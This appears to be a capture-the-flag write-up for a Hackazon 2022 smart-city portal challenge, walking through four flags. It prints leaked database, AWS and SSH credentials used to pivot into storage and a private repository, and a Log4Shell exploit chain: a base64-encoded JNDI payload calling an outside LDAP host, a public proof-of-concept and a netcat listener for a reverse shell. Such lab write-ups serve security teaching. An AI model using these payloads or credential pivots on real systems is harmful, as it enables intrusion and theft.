Challenge Description

The AI managed to get into our secure smart city portal, but we have no clue how it got there

A backend system could be launched via the ctf portal.

Flag 1 - It’s there but not really

Take a real close look

┌──(kali㉿kali-linux-2021-3)-[~/hackazon22]
└─$ curl https://71bf2d1306415dfb190f0dc02a214ced.challenge.hackazon.org/

<!DOCTYPE html>
<html>
<head>
    <meta charset="ISO-8859-1">
    <title>Welcome To The Future</title>
	<style>
		h1 {
			color: blue;
		}
		.container {
			padding: 15px;
			width: 400px;
		}
		body {
			background-image: url('background1.png');
			background-repeat: no-repeat;
			background-size: cover;
		}
		label,
		input {
			margin-bottom: 10px;
		}

		button {
			float: right;
			margin-right: 10px;
			background-color: green;
		}
	</style>
</head>

</html>

Since the rules don’t allow automated tools like Gobuster, I just started guessing.

┌──(kali㉿kali-linux-2021-3)-[~/hackazon22]
└─$ curl https://71bf2d1306415dfb190f0dc02a214ced.challenge.hackazon.org/portal
<!DOCTYPE html><html><head><title>Apache Tomcat/8.0.36 - Error report</title><style type="text/css">H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name {color : black;}.line {height: 1px; background-color: #525D76; border: none;}</style> </head><body><h1>HTTP Status 404 - /portal</h1><div class="line"></div><p><b>type</b> Status report</p><p><b>message</b> <u>/portal</u></p><p><b>description</b> <u>The requested resource is not available.</u></p><hr class="line"><h3>Apache Tomcat/8.0.36</h3></body></html>
┌──(kali㉿kali-linux-2021-3)-[~/hackazon22]
└─$ curl https://71bf2d1306415dfb190f0dc02a214ced.challenge.hackazon.org/login

<html lang="en">
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link href="https://unpkg.com/tailwindcss@2.2.4/dist/tailwind.min.css" rel="stylesheet">
</head>
<body>
<div class="h-screen flex">
    <div class="flex w-1/2 bg-gradient-to-tr from-blue-800 to-purple-700 i justify-around items-center">
        <div>
            <h1 class="text-white font-bold text-4xl font-sans">Intracity World</h1>
            <p class="text-white mt-1">Build your own futuristic cities</p>
            <button type="submit" class="block w-28 bg-white text-indigo-800 mt-4 py-2 rounded-2xl font-bold mb-2">Read More</button>
        </div>
    </div>
    <div class="flex w-1/2 justify-center items-center bg-white">
        <form class="bg-white" method="POST" action="login">
            <h1 class="text-gray-800 font-bold text-2xl mb-1">Hello Again!</h1>
            <p class="text-sm font-normal text-gray-600 mb-7">Welcome Back</p>
            <p class="text-sm font-normal text-gray-600 mb-7"></p>
            <div class="flex items-center border-2 py-2 px-3 rounded-2xl mb-4">
                <svg xmlns="http://www.w3.org/2000/svg" class="h-5 w-5 text-gray-400" fill="none" viewBox="0 0 24 24" stroke="currentColor">
                    <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M16 12a4 4 0 10-8 0 4 4 0 008 0zm0 0v1.5a2.5 2.5 0 005 0V12a9 9 0 10-9 9m4.5-1.206a8.959 8.959 0 01-4.5 1.207" />
                </svg>
                <input class="pl-2 outline-none border-none" type="text" name="uname" placeholder="Username" />
            </div>
            <div class="flex items-center border-2 py-2 px-3 rounded-2xl">
                <svg xmlns="http://www.w3.org/2000/svg" class="h-5 w-5 text-gray-400" viewBox="0 0 20 20" fill="currentColor">
                    <path fill-rule="evenodd" d="M5 9V7a5 5 0 0110 0v2a2 2 0 012 2v5a2 2 0 01-2 2H5a2 2 0 01-2-2v-5a2 2 0 012-2zm8-2v2H7V7a3 3 0 016 0z" clip-rule="evenodd" />
                </svg>
                <input class="pl-2 outline-none border-none" type="password" name="password" placeholder="Password" />
            </div>
            <button type="submit" class="block w-full bg-indigo-600 mt-4 py-2 rounded-2xl text-white font-semibold mb-2">Login</button>
            <span class="text-sm ml-2 hover:text-blue-500 cursor-pointer"><a href="/forgotpassword.html">Forgot Password ? </a></span>
        </form>
    </div>
</div>
</body>
</html>

Luckily, one of my first guesses was already successful. There is a login panel at /login but there was nothing obvious so far. Let’s see how we can reset our password.

┌──(kali㉿kali-linux-2021-3)-[~/hackazon22]
└─$ curl https://71bf2d1306415dfb190f0dc02a214ced.challenge.hackazon.org/forgotpassword.html
<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="UTF-8">
	<meta name="viewport"
		content="width=device-width,
				initial-scale=1.0">
	<title>Forgot Password</title>
	<style>
		h1 {
			color: blue;
		}
		.container {
			padding: 15px;
			width: 400px;
		}
		body {
			background-image: url('background.png');
			background-repeat: no-repeat;
			background-size: cover;
		}
		label,
		input {
			margin-bottom: 10px;
		}

		button {
			float: right;
			margin-right: 10px;
			background-color: green;
		}
	</style>
</head>

<body>
	<center>
		<h1 style="font-size: 4rem; color:hsla(0,100%,50%,1);">Forgot Password</h1>
		<b style="font-size: 2rem; color:hsla(0,100%,50%,1);">Enter Username to reset the password</b>
		<br><br>
		<div class="container">
			<div>
				<label style="font-size: 1rem; color:hsla(0,100%,50%,1); ">Username:</label>
				<input type="text" size="40">
				<id="number" size="40">
				<span id="error"></span>
			</div>
			<button type="submit"
					onclick="errorMessage()">
				Submit
			</button>
		</div>
	</center>
</body>
<script>
	function errorMessage() {
		var error = document.getElementById("error")
		if (isNaN(document.getElementById("number").value))
		{

			// Complete the connection to mysqldb escalator.c45luksaam7a.us-east-1.rds.amazonaws.com. Use credential allen:8%pZ-s^Z+P4d=h@P
			error.textContent = "Under Construction"
			error.style.color = "red"
		} else {
			error.textContent = "Under Construction"
		}
	}
</script>

</html>

Looks like the developer needs a security awareness training. The comment shows credentials for an AWS RDS (Relational Database Service) instance.

escalator.c45luksaam7a.us-east-1.rds.amazonaws.com - allen:8%pZ-s^Z+P4d=h@P

I started to browse the database with mysql on the command line. However, with more complex databases this gets inconvenient very quickly, so I connected with my GUI of choice DBeaver.

┌──(kali㉿kali-linux-2021-3)-[~/hackazon22]
└─$ mysql -h escalator.c45luksaam7a.us-east-1.rds.amazonaws.com -P 3306 -u allen -p
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 16779
Server version: 5.7.38-log Source distribution

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| accounts           |
| config             |
| env                |
| innodb             |
| mysql              |
| sys                |
| users              |
+--------------------+
8 rows in set (0.114 sec)

MySQL [(none)]> use users;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [users]> select * from data;
+------------------------+
| flag                   |
+------------------------+
| CTF{!_p@wn3d_db_4_fu9} |
+------------------------+
1 row in set (0.196 sec)

First flag !

Flag 2 - Throw everything in there

Don’t add too much or it’ll overflow

At this point I thought that the database contains credentials for the login panel. This also seemed to be the case at first.

MySQL [users]> select * from employees limit 5;
+--------+------------+----------------+-----------+--------+---------------------------+---------------+--------+-----------+
| Emp_id | First_name | Middle_initial | last_name | Gender | Email                     | Date_of_birth | Weight | Salary    |
+--------+------------+----------------+-----------+--------+---------------------------+---------------+--------+-----------+
| 134841 | Donna      | R              | Brown     | F      | Donna.Brown@dummy.com     | 0000-00-00    |     57 | 129836.00 |
| 153989 | Jack       | C              | Alexander | M      | Jack.Alexander@dummy.com  | 0000-00-00    |     61 |  82965.00 |
| 158666 | Rebecca    | A              | Stewart   | F      | Rebecca.Stewart@dummy.com | 0000-00-00    |     55 | 160043.00 |
| 162402 | Diana      | T              | Peterson  | F      | Diana.Peterson@dummy.com  | 0000-00-00    |     60 |  43010.00 |
| 183071 | Andrea     | P              | Garcia    | F      | Andrea.Garcia@dummy.com   | 0000-00-00    |     52 |  54179.00 |
+--------+------------+----------------+-----------+--------+---------------------------+---------------+--------+-----------+
5 rows in set (0.139 sec)

MySQL [users]> select * from employees_login limit 5;
+--------+-------------+-------------------------------------------+
| Emp_id | User_name   | Password                                  |
+--------+-------------+-------------------------------------------+
 |134841 | drbrown     | dac753aaa7e67e882ad34d29ff90a6ff319614b4
 |153989 | jcalexander | 6d58ae5da379c1ce5aacc0dd6ca676556de5eed2
 |158666 | rastewart   | fee3273cc938e372c6e7ecb7096414d30b9d90ce
 |162402 | dtpeterson  | 7d7fba94e6fb84a0a7dc97266146979942903226
 |183071 | apgarcia    | 690c64ee3d76b3032121e7a2d1af3feb209a7f0d
+--------+-------------+-------------------------------------------+

┌──(kali㉿kali-linux-2021-3)-[~/hackazon22]
└─$ hash-identifier dac753aaa7e67e882ad34d29ff90a6ff319614b4
   #########################################################################
   #     __  __                     __           ______    _____           #
   #    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         #
   #    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        #
   #     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       #
   #      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      #
   #       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #
   #        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.2 #
   #                                                             By Zion3R #
   #                                                    www.Blackploit.com #
   #                                                   Root@Blackploit.com #
   #########################################################################
--------------------------------------------------

Possible Hashs:
[+] SHA-1
[+] MySQL5 - SHA-1(SHA-1($pass))

The database contains usernames and corresponding SHA1 password hashes. To speed things up I extracted all hashes and fed them to crackstation. Exactly one password could be cracked.

MySQL [users]> select * from employees_login where user_name='lhwalker';
+--------+-----------+-------------------------------------------+
| Emp_id | User_name | Password                                  |
+--------+-----------+-------------------------------------------+
 |677509 | lhwalker  | da39a3ee5e6b4b0d3255bfef95601890afd80709
+--------+-----------+-------------------------------------------+
1 row in set (0.327 sec)

Badboy Lois used literally nothing as his password.

┌──(kali㉿kali-linux-2021-3)-[~]
└─$ echo '' | sha1sum
adc83b19e793491b1c6ea0fd8b46cd9f32e592fc  -

┌──(kali㉿kali-linux-2021-3)-[~]
└─$ echo 'remember that echo always prints a trailing newline => omit newline with -n'
remember that echo always prints a trailing newline => omit newline with -n

┌──(kali㉿kali-linux-2021-3)-[~]
└─$ echo -n '' | sha1sum
da39a3ee5e6b4b0d3255bfef95601890afd80709  -

Consequently the password for lhwalker is an empty string. Although I found credentials, I could not log in to the login panel, so I continued to search the database. Besides a private key, I could also find credentials for an S3 bucket.

MySQL [users]> use env;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [env]> show tables;
+---------------+
| Tables_in_env |
+---------------+
| git           |
+---------------+
1 row in set (0.116 sec)

MySQL [env]> select * from git;
...
| deploy_key                                                                                                                                                                                           ...
| -----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAACFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAgEAp+ikPChLQ+ZCrnt3ULkv38Iv9dLbhqlxw/gQKoO+W58iA88VKyIK
pl8rz6iGbUeyWR+xKJu/1nqJ2fDGK90lC0TJIf6hDzg1rXz+ombLaFbC/TyzbYWUT55HiH
...
1 row in set (0.138 sec)

MySQL [env]> use config;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [config]> select * from aws_env;
+---------+----------------------+------------------------------------------+
| user    | access_key           | secret                                   |
+---------+----------------------+------------------------------------------+
| s3user1 | AKIAWSXCCGNYFS7NN2XU | m6zD41qMXR4KlcyjXAIxdYrDm0YczPIiyi1p9P0I |
+---------+----------------------+------------------------------------------+
1 row in set (0.121 sec)

Since it was not clear for which asset the private key was for, I focused on the S3 bucket first.

(kali㉿kali-linux-2021-3)-[~]
└─$ aws configure
AWS Access Key ID [None]: AKIAWSXCCGNYFS7NN2XU
AWS Secret Access Key [None]: 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
Default region name [None]:
Default output format [None]:

┌──(kali㉿kali-linux-2021-3)-[~]
└─$ aws s3 ls
2022-06-20 16:07:37 escalator-logger-armour

┌──(kali㉿kali-linux-2021-3)-[~]
└─$ aws s3 ls escalator-logger-armour
                           PRE new/
2022-07-15 10:27:35      11351 Logs.txt

┌──(kali㉿kali-linux-2021-3)-[~]
└─$ aws s3 cp s3://escalator-logger-armour/Logs.txt ./
download: s3://escalator-logger-armour/Logs.txt to ./Logs.txt

┌──(kali㉿kali-linux-2021-3)-[~]
└─$ cat Logs.txt | grep CTF
23-Jun-2022 12:50:31.561 INFO [main] org.apache.catalina.core.AprLifecycleListener.lifecycleEvent APR capabilities: CTF{S3eing_T3r0ugh_!t}

It turns out that there is a log file on the S3 bucket that contains the second flag.

Flag 3 - Follow through

It takes commitment, but if you follow through you’ll find it

In addition to the flag, an error message about a git pull attempt is shown in the log file. However, the repository is private. This is where the previously found private key comes into play. Let's try to clone the repository.

┌──(kali㉿kali-linux-2021-3)-[~]
└─$ cat Logs.txt | grep git
23-Jun-2022 12:50:31.551 ERROR [main] unable to pull update from github.com/cloudhopper-sec/app.git

┌──(kali㉿kali-linux-2021-3)-[~]
└─$ cd .ssh/

┌──(kali㉿kali-linux-2021-3)-[~/.ssh]
└─$ head -3 git-key
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAACFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAgEAp+ikPChLQ+ZCrnt3ULkv38Iv9dLbhqlxw/gQKoO+W58iA88VKyIK

┌──(kali㉿kali-linux-2021-3)-[~/.ssh]
└─$ chmod 600 git-key

┌──(kali㉿kali-linux-2021-3)-[~/.ssh]
└─$ ll git-key
-rw------- 1 kali kali 3381 Jul 19 22:03 git-key

┌──(kali㉿kali-linux-2021-3)-[~/.ssh]
└─$ cat config
Host github.com
	HostName github.com
	IdentityFile ~/.ssh/git-key
	
┌──(kali㉿kali-linux-2021-3)-[~]
└─$ git clone git@github.com:cloudhopper-sec/app.git
Cloning into 'app'...
The authenticity of host 'github.com (140.82.121.4)' can\'t be established.
ED25519 key fingerprint is SHA256:+DiY3wvvV6TuJJhbpZisF/zLDA0zPMSvHdkr4UvCOqU.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'github.com' (ED25519) to the list of known hosts.
remote: Enumerating objects: 107, done.
remote: Counting objects: 100% (49/49), done.
remote: Compressing objects: 100% (31/31), done.
remote: Total 107 (delta 18), reused 39 (delta 13), pack-reused 58
Receiving objects: 100% (107/107), 826.70 KiB | 2.18 MiB/s, done.
Resolving deltas: 100% (33/33), done.

┌──(kali㉿kali-linux-2021-3)-[~]
└─$ tree app/
app/
|-- cloudEscalator.iml
|-- Dockerfile
|-- mvnw
|-- mvnw.cmd
|-- pom.xml
|-- README.md
\`-- src
    |-- log4j.iml
    \`-- main
        |-- java
        |   \`-- com
        |       \`-- cloudEscalator
        |           |-- ForgotServlet.java
        |           |-- LoginServlet.java
        |           |-- LogoutServlet.java
        |           |-- ProfileServlet.java
        |           \`-- util
        |               |-- CookieHandler.java
        |               \`-- Log4j.java
        \`-- webapp
            |-- background1.png
            |-- background.png
            |-- forgotpassword.html
            |-- index.html
            |-- link.html
            |-- login.jsp
            |-- pp.jpg
            |-- profile.html
            |-- style2.css
            |-- style.css
            |-- WEB-INF
            |   |-- web-inf
            |   \`-- web.xml
            \`-- welcome.html

8 directories, 26 files

The repository is a Java web application built with servlets and JSP. In addition the app uses cookies and Log4J. Before digging into the source code, I searched for any suspicious commits in the git log.

┌──(kali㉿kali-linux-2021-3)-[~/app]
└─$ git log | head
commit 9140a3c6b4fc9219165aa33d2439a83ba50d6102
Author: cloudhopper-sec <108001832+cloudhopper-sec@users.noreply.github.com>
Date:   Fri Jul 15 11:28:53 2022 +0200

    sanitisation

commit b8d8b39c9007e145ee4993c01c3e9b9efd4d737a
Merge: 8b95c59 3bb0a4a
Author: cloudhopper-sec <108001832+cloudhopper-sec@users.noreply.github.com>
Date:   Fri Jul 15 11:27:14 2022 +0200

┌──(kali㉿kali-linux-2021-3)-[~/app]
└─$ git show 9140a3c6b4fc9219165aa33d2439a83ba50d6102
commit 9140a3c6b4fc9219165aa33d2439a83ba50d6102 (HEAD -> main, origin/main, origin/HEAD)
Author: cloudhopper-sec <108001832+cloudhopper-sec@users.noreply.github.com>
Date:   Fri Jul 15 11:28:53 2022 +0200

    sanitisation

diff --git a/src/main/java/com/cloudEscalator/util/CookieHandler.java b/src/main/java/com/cloudEscalator/util/CookieHandler.java
index a7a0b8c..f787547 100644
--- a/src/main/java/com/cloudEscalator/util/CookieHandler.java
+++ b/src/main/java/com/cloudEscalator/util/CookieHandler.java
@@ -9,8 +9,8 @@ import java.util.Optional;

 public class CookieHandler {
     private static final String LOGIN_COOKIE_NAME = "LoggedIn";
-    private static final String USERNAME = "admin";
-    private static final String PASSWORD = "C@llTh3PluMM3r";
+    private static final String USERNAME = "";^M
+    private static final String PASSWORD = "";^M

     private static final String SHA256_LOGIN_HASH = Hashing.sha256()
             .hashString(USERNAME+PASSWORD, StandardCharsets.UTF_8)

Hopefully valid credentials this time.

third flag

🏳

Flag 4 - Security check

Can you make sure that you got all the vulnerabilities?

Since a Log4J vulnerability recently caused excitement in almost every IT team, I first wanted to find out if the log4j version is vulnerable to CVE-2021-44228.

┌──(kali㉿kali-linux-2021-3)-[~]
└─$ grep -A2 app/pom.xml -e 'log4j'
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.1</version>
        </dependency>

Perfect! This version is vulnerable. This means it is possible to send a payload with an arbitrary host to the server. The payload is interpreted by log4j as a JNDI lookup and causes log4j to send an LDAP query to the host defined in the payload. The host in turn responds with a location that references to a malicious Java class. The vulnerable java server then loads the file and executes it, resulting in arbitrary code execution.
For example: ${jndi:ldap://my-malicious-server.host/a} Time to find out when the logger is used.

┌──(kali㉿kali-linux-2021-3)-[~]
└─$ grep -rn app/ -e 'logger.'
app/src/main/java/com/cloudEscalator/util/Log4j.java:7:    private static final Logger logger = LogManager.getLogger(Log4j.class);
app/src/main/java/com/cloudEscalator/util/Log4j.java:10:        return logger;
app/src/main/java/com/cloudEscalator/ProfileServlet.java:24:    Logger logger = LogManager.getLogger(Log4j.getLogger());
app/src/main/java/com/cloudEscalator/ProfileServlet.java:49:                logger.error( <====

┌──(kali㉿kali-linux-2021-3)-[~]
└─$ cat app/src/main/java/com/cloudEscalator/ProfileServlet.java
...

@WebServlet(name = "profile", urlPatterns = "/profile")
public class ProfileServlet extends HttpServlet {
    private static final long serialVersionUID = 1L;
    Logger logger = LogManager.getLogger(Log4j.getLogger());

    protected void doGet(HttpServletRequest request,
                         HttpServletResponse response)
            throws ServletException, IOException {

        PrintWriter out = response.getWriter();

        Optional<Cookie> optionalLoginCookie = CookieHandler.retrieveLoggedInCookie(Arrays.asList(request.getCookies()));
        if (!optionalLoginCookie.isPresent() || !CookieHandler.verifyLoginCookie(optionalLoginCookie.get())) {
            out.println(
                    "<h1> You are a not authenticated, kindly login. </h1>");
            request.getRequestDispatcher("login.jsp").include(request, response);
        } else {
//            out.println(
//                    "<a href='/logout' style='font-size:25px;'>Logout </a>");
//            out.println("<h1>Welcome to your profile, Admin ");

            request.getRequestDispatcher("/profile.html").forward(request, response);
            Optional<Cookie> optionalDebugCookie = Arrays.stream(request.getCookies())
                    .filter(cookie -> "debug".equals(cookie.getName()))
                    .findAny();

            //Log debug information for authenticated users
            optionalDebugCookie.ifPresent(cookie -> {
                logger.error(
                        new String(Base64.getDecoder().decode(cookie.getValue())));
            });

        }
    }

    protected void doPost(HttpServletRequest request,
                          HttpServletResponse response)
            throws ServletException, IOException {
        // TODO Auto-generated method stub
        doGet(request, response);
    }
}

After a short analysis of the source code of ProfileServlet.java it was clear that the log4j vulnerability can be exploited if an authenticated user requests the /profile route with an attached debug cookie. The value of the debug cookie must be a base64 encoded JNDI payload. Time to get this last flag.

  1. clone log4j exploit
    git clone https://github.com/kozmer/log4j-shell-poc.git
  2. create and activate python virtual environment
    python3 -m venv ctf && source ctf/bin/activate
  3. install exploit requirements
    pip install -r requirements.txt
  4. install java requirements (you need to download the required jdk version)
    tar -xf jdk-8u20-linux-x64.tar.gz
  5. start netcat listener for reverse shell
    nc -nlvp 4444
  6. run exploit with attacker ip, arbitrary web port and the port netcat is listening on
    python poc.py --userip 34.248.214.47 --webport 9000 --lport 4444
  7. send a request to /profile with the base64 encoded JNDI payload as value for the debug cookie
┌──(kali㉿kali-linux-2021-3)-[~]
└─$ echo -n '${jndi:ldap://34.248.214.47:1389/a}' | base64
JHtqbmRpOmxkYXA6Ly8zNC4yNDguMjE0LjQ3OjEzODkvYX0=
  1. ldap server responds with reference to malicious java class
  2. recieve reverse shell 🔓
fourth flag